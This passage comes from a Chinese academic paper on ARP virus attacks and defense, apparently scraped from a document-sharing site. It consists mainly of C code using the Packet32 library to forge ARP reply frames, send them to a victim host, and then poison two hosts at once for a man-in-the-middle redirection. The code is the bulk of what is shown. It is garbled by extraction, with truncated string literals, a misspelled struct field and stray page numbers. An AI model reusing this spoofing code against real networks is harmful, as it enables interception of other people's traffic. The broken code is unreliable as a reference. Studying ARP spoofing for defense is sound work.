当前位置:首页 > ARP病毒的攻击与防范论文
ARP病毒的攻击与防范
*/
memcpy(ARPPacket1.e1hhdr1.eh_dst, MacAddr, 6); /*定义目的MAC地址AAAAAAAAAAAA*/
ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址*/
memcpy(ARPPacket1.ethhdr1.eh_src, MacAddr, 6); /*定义源MAC地址CCCCCCCCCCCC*/
ARPPacket1.ethhdr1.eh_type = htons(T_ARP); /*常量ARP表示ARP的类型值 */ ARPPacket1.ethhdr1.arp_hrd = htons(H_ARP); /*值为1即表示以太网硬件类型*/ ARPPacket1.ethhdr1.arp_pro = htons(T_IP); /*常量IP协议表示IP的类型值*/ ARPPacket1.ethhdr1.arp_hln = 6; /*MAC地址长度为6字节*/ ARPPacket1.ethhdr1.arp_pln = 4; /*IP地址长度为4字节*/
ARPPacket1.ethhdr1.arp_op = htons(OP_ARPB); /* OP操作类型2表示ARP应答 */
ToMacAddr(\;
memcpy(ARPPacket1.arphdr1.arp_sha, MacAddr, 6);//伪造的B的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\
memcpy(ARPPacket1.arphdr1.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket1.arphdr1.arp_tpa = inet_addr(\目标A的IP地址
3.2发送ARP欺骗帧
在3.1中已经构造了伪装的ARP回复报文ARPPacket1,接下来需要将数据包发送到局域网内主机A上。在此我们使用开发包Packet32中提供的API函数组。Packet32是著名的网卡数据读写开发包,他有众多版本,在这里使用的是最常用的微软PACKE T32.h。现在著名的网络监听程序如ntsniff、EthernetSpy、ntpacket、WinPcap等都使用Packet32开发。应用程序通过Packet32下PacketSendPacket等函数可以直接操作网卡,设置网卡的工作模式,直接在网卡上读写数据。Packet32包中的有如下一些功能函数:
(1)PacketGetAdapterNames:从注册表中读取网卡名
4
ARP病毒的攻击与防范
(2)PacketOpenAdapter :打开网卡 (3)PacketSetHwFilter :设置过滤器 (4)PacketSetBuff :设置缓冲区的大小
(5)PacketSetReadTimeout :设置读操作的超时时间 (6)PacketAllocatePacket :为_PACKET结构分配内存
(7)PacketInitPacket :初始化_PACKET结构,将packet结构中的buffer设置为传递 的buffer指针。
(8)PacketReceivePacket :读取数据,从NPF driver上读取数据Packets或者统计信 息。
(9)PacketGetStats :得到本次捕获的统计数据 (10)PacketSentPacket :发送数据. 以下是发送数据包的过程代码: (1)首先需要引用Packet32头文件 #include
f(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE) { printf(\ return 0; (3)取第一个网卡
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError();
printf(\ return 0; }
lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) {
printf(\ return 0; }
(4)将3.1中定义好的数据帧写到内存中
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket)); (5)初试化数据包
4
ARP病毒的攻击与防范
PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 2)==FALSE) { printf(\ a single write!\\n\
(6)发送我们构造的伪造ARP数据包
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf(\ printf (\(7)关闭网卡
PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter);
以上程序使A接收到一个被伪造的ARP应答,对目标A进行欺骗。A发送数据到主机B却发送到了CC-CC-CC-CC-CC-CC这个地址上。这种效果正是前文所描述的,ARP欺骗成功。
但是,完整的ARP欺骗需要进一步做数据的转发,因为A虽然对错误的缓存不能辨别,但是接下来的数据交换中,A与B之间就会由于数据无法匹配而终止通信。因为A发往B的数据转发到了C,所以A在一段时间内无法得到来自B的合法回复后,将意识到通讯存在问题。因此,接下来需要C来做“Man-In-The-Middle”重定向。
3.3同时发向两台机器的“Man-In-The-Middle”
做“Man-In-The-Middle”,进行ARP重定向。首先需要使C同时发两个应答帧到通信的双方A与B。这样C将成为A与B之间的ARP代理,相当与C是AB间的路由器。
(1)同时构造两个ARP应答帧(应答帧中常量定义不再重述)。 ARPPACKET1 ARPPacket1; //定义一个数据报文结构
ToMacAddr(\将字符串AAAAAAAAAAAA转化成MAC地址
memcpy(ARPPacket1.e1hhdr1.eh_dst, MacAddr, 6); //定义目的MAC地址AAAAAAAAAAAA
ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址
memcpy(ARPPacket1.ethhdr1.eh_src, MacAddr, 6); //定义源MAC地址
4
ARP病毒的攻击与防范
CCCCCCCCCCCC
ToMacAddr(\;
memcpy(ARPPacket1.arphdr1.arp_sha, MacAddr, 6);//伪造的B的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\
memcpy(ARPPacket1.arphdr1.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket1.arphdr1.arp_tpa = inet_addr(\目标A的IP地址 ARPPACKET1 ARPPacket2; //定义一个数据报文结构ARPPacket2
ToMacAddr(\将字符串BBBBBBBBBBBB转化成MAC地址
memcpy(ARPPacket2.e1hhdr1.eh_dst, MacAddr, 6); //定义目的MAC地址AAAAAAAAAAAA
ToMacAddr(\将字符串CCCCCCCCCCCC转化成MAC地址*/
memcpy(ARPPacket2.ethhdr1.eh_src, MacAddr, 6); /*定义源MAC地址CCCCCCCCCCCC*/
ToMacAddr(\;
memcpy(ARPPacket2.arphdr1.arp_sha, MacAddr, 6);//伪造的A的MAC地址 ARPPacket1.arphdr1.arp_spa = inet_addr(\的IP地址 ToMacAddr(\
memcpy(ARPPacket2.arphdr1.arp_tha , MacAddr, 6); //目标B的MAC地址 ARPPacket2.arphdr1.arp_tpa = inet_addr(\目标B的IP地址 (2)将这两个欺骗包同时发往A、B,构造“man-in-the-middle”(网卡初始化部分不
再重述)。
if(PacketSendPacket(lpAdapter, lpPacket1, TRUE)==FALSE) { printf(\ printf (\
if(PacketSendPacket(lpAdapter, lpPacket2, TRUE)==FALSE) { printf(\
4
共分享92篇相关文档